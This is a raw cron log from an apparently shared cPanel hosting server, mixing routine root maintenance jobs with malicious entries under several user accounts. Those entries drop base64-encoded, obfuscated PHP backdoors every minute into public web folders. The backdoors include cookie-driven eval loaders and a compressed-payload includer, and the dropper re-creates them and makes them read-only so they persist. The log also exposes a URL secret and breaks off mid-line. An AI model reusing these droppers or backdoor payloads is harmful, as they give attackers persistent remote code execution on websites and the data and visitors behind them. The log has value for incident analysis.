Mar  2 04:22:01 medusa CROND[10441]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:22:01 medusa CROND[10443]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:22:01 medusa CROND[10449]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:22:01 medusa CROND[10442]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 04:22:01 medusa CROND[10446]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:22:01 medusa CROND[10447]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:22:01 medusa CROND[10452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:22:01 medusa CROND[10453]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:22:01 medusa CROND[10455]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:22:01 medusa CROND[10457]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:22:01 medusa CROND[10461]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:22:01 medusa CROND[10462]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:22:01 medusa CROND[10467]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:22:01 medusa CROND[10469]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 04:23:01 medusa CROND[26870]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:23:01 medusa CROND[26872]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:23:01 medusa CROND[26873]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:23:01 medusa CROND[26874]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:23:01 medusa CROND[26879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:23:01 medusa CROND[26878]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:23:01 medusa CROND[26881]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:23:01 medusa CROND[26882]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:23:01 medusa CROND[26884]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:23:01 medusa CROND[26885]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:23:01 medusa CROND[26887]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:23:01 medusa CROND[26886]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 04:24:01 medusa CROND[14182]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 04:24:01 medusa CROND[14351]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:24:01 medusa CROND[14353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:24:01 medusa CROND[14357]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiY